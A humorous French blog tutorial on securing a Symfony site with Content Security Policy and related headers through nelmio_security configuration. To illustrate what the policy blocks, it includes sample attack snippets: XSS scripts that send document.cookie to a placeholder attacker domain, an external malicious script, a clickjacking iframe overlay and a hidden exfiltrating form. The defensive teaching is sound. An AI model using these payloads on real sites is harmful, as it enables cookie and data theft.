Lecodeestdanslepre

La Content Security Policy (CSP pour les intimes)

6 min de lecture

C'est quoi une CSP ?

Alors la Content Security Policy (CSP), c'est comme un videur de boîte de nuit ultra-sévère pour ton site web. Ce mécanisme de sécurité permet au navigateur de bloquer tout contenu suspect qui tente de s'exécuter sur ton site. En gros, tu dis au navigateur : "Voilà la liste des gens qui ont le droit d'entrer, les autres tu les dégages !"

Concrètement, la CSP c'est un header HTTP que ton serveur envoie au navigateur pour lui dire : "Les scripts, tu les acceptes que s'ils viennent de mon domaine. Les styles, pareil. Les images, seulement de ces sources-là." Et ainsi de suite.

En cas d'injection XSS ou autre saloperie, même si un attaquant arrive à injecter du code, ce code ne pourra pas s'exécuter parce qu'il n'est pas dans la liste des invités. C'est comme si un mec essayait de rentrer dans ta boîte de nuit avec une casquette MAGA : NEXT !

Comment configurer tout ça

Allons voir ce qui se passe dans le fichier de configuration config/packages/nelmio_security.yaml :

nelmio_security:
    clickjacking:
        paths:
            '^/admin': DENY
            '^/': SAMEORIGIN

On indique ici que personne ne peut mettre ton interface d'admin dans un iframe. "L'admin dans un iframe ? Non mais t'as cru qu'on était chez mamie ? DENY, CASSE-TOI !"

Pour le reste du site, tu permets juste à ton propre domaine de l'afficher dans un iframe. "Ouais, toi t'es de la famille, tu peux rentrer."

Le clickjacking

Le clickjacking, c'est quand un site malveillant met ton site dans un iframe invisible et fait croire à l'utilisateur qu'il clique sur un bouton "Télécharger un film gratuit" alors qu'en fait il clique sur "Transférer tous mes bitcoins à JeanKevinH4ck3r".

    # prevents redirections outside the website's domain
    external_redirects:
        abort: true
        log: true

Là, tu bloques les redirections vers des domaines externes non autorisés. "Ah tu veux rediriger mes utilisateurs vers ton site 'gagner-de-largent-facile-envoyez-vos-coordonnees-bancaires.ru' ? Mais bien sûr mon petit ! ABORT ! LOG ! BIM !"

Les attaques par redirection

Les attaques par redirection, c'est quand un attaquant essaie de rediriger tes utilisateurs vers des sites de phishing ou des sites qui vont leur injecter des malwares.

    csp:
        enabled: true

Ça semble bête mais, on met à true car sinon c'est comme si tu mettais ta ceinture de sécurité sans l'attacher : non seulement ça ne sert à rien mais en plus tu as l'air con !

        report_logger_service: logger

Là on log les violations de la CSP.

        enforce:
            default-src:
                - 'self'

default-src: 'self' : Par défaut, toutes les ressources (scripts, styles, images, etc.) doivent venir de ton propre domaine. "Si c'est pas moi qui l'ai invité, il rentre pas !"

Les injections de code malveillant

Limite drastiquement les sources d'où peuvent venir les ressources, ce qui bloque les injections de code malveillant depuis des domaines externes.

            style-src:
                - 'self'

Tes styles CSS doivent venir de ton domaine avec cette directive.

L'injection de styles malveillants

Ça empêche l'injection de styles malveillants qui pourraient par exemple cacher des éléments légitimes ou en afficher des faux.

            script-src:
                - 'self'

Même principe pour les scripts. "Tu veux exécuter du JavaScript sur MON site ? T'as intérêt à y être autorisé mon gars !".

Les attaques XSS (Cross-Site Scripting)

C'est LA directive la plus importante pour bloquer les attaques XSS : pas d'exécution de script inline, point barre.

            connect-src:
                - 'self'

"Tu veux faire des requêtes AJAX, WebSocket ou EventSource ? Uniquement vers mon domaine, mon coco !"

Les attaques CSRF via balises img

Ça évite les fuites d'informations via les requêtes d'images et les attaques de type CSRF utilisant des balises img.

            img-src:
                - 'self'
                - 'data:'

Les images doivent venir de ton domaine ou être en base64 (data:). "Pas d'images hébergées sur des serveurs louches, merci !"

            font-src:
                - 'self'
                - 'data:'

Pareil pour les polices. "Tes jolies fontes Comic Sans MS, tu les héberges chez toi ou tu les mets en base64 !"

    content_type:
        nosniff: true

Le MIME type sniffing

"Ah, le MIME type sniffing ! Le truc où le navigateur se dit 'Tiens, ce fichier est déclaré comme une image, mais on va quand même essayer de l'exécuter comme du JavaScript, on sait jamais !'" Tu bloques ça, c'est bien.

On empêche le navigateur d'interpréter incorrectement le type de contenu, ce qui pourrait permettre l'exécution de code malveillant.

La fuite d'informations sensibles via referrer

    referrer_policy:
        enabled: true
        policies:
            - 'no-referrer'
            - 'strict-origin-when-cross-origin'

Et là, tu contrôles les informations de référence que ton site envoie quand un utilisateur clique sur un lien. "Vous voulez savoir d'où vient mon utilisateur ? Vous aurez juste le domaine, pas l'URL complète avec tous ses paramètres privés, bande de curieux !"

<meta name="referrer" content="strict-origin-when-cross-origin">

Protection de la vie privée en limitant les informations transmises aux sites externes, ce qui empêche la fuite d'identifiants de session ou d'autres données sensibles dans l'URL.

On complète

Ajoute quelques directives supplémentaires :**

   enforce:
       # Tout ce que t'as déjà, plus :
       object-src:
           - 'none'  # Bloque les balises <object>, <embed>, etc.
       base-uri:
           - 'self'  # Contrôle où peuvent pointer les balises <base>
       form-action:
           - 'self'  # Contrôle où peuvent être soumis les formulaires
       frame-ancestors:
           - 'self'  # Une autre façon de contrôler le clickjacking

Pense aux ressources externes (si t'en as besoin) :

   # Si tu utilises Google Fonts par exemple :
   font-src:
       - 'self'
       - 'data:'
       - 'https://fonts.gstatic.com'
   # Si tu utilises des CDN :
   script-src:
       - 'self'
       - 'https://cdn.example.com'

Des exemples concrets de ce que ça bloque

1. Une attaque XSS basique

   <script>
   document.location = 'https://mechant-hacker.com/vol-cookies?c=' + document.cookie;
   </script>

Avec ta CSP activée : "Script inline ? BAHAHAHA ! Même pas en rêve !"

2. Injection d'un script externe malveillant

   <script src="https://mechant-hacker.com/vol-donnees.js"></script>

Avec ta CSP : "Script depuis un domaine non autorisé ? NEXT !"

3. Attaque par clickjacking

   <!-- Sur un site malveillant -->
   <div style="opacity:0.001;position:absolute;z-index:1000;">
     <iframe src="https://ton-site.com/admin"></iframe>
   </div>
   <div style="position:relative;">
     Cliquez ici pour gagner un iPhone !
   </div>

Avec ton header de clickjacking : "Iframe vers /admin ? DENIED ! RETOURNE JOUER AVEC TES LEGOS !"

4. Vol de données par soumission de formulaire

   <form action="https://mechant-hacker.com/vol-donnees" id="form-invisible" style="display:none;">
     <input name="donnees_volees" id="donnees">
   </form>
   <script nonce="UN_NONCE_VALIDE">
     // Ce script a un nonce valide, donc il peut s'exécuter
     document.getElementById('donnees').value = document.cookie;
     document.getElementById('form-invisible').submit();
   </script>

Avec une directive form-action: 'self' : "Soumettre un formulaire ailleurs que sur ton propre domaine ? T'AS CRU QUE J'ALLAIS LAISSER PASSER ÇA ?"

En résumé

Avec tout ça, on dispose de bons outils pour protéger les utilisateurs de ton site.

Tu peux aussi activer la CSP en mode report-only :

csp:
    enabled: true
    report_only: true  # Ça ne bloque rien mais ça log les violations

Comme ça, tu pourras voir ce qui serait bloqué sans que ça impacte tes utilisateurs. "On fait une répétition générale avant le grand soir !"

Allez, maintenant, t'as plus d'excuses pour pas sécuriser ton site comme il faut.

Confidentialité

Ce site utilise Umami pour analyser le trafic de manière anonyme. Acceptez-vous la collecte de données anonymes ?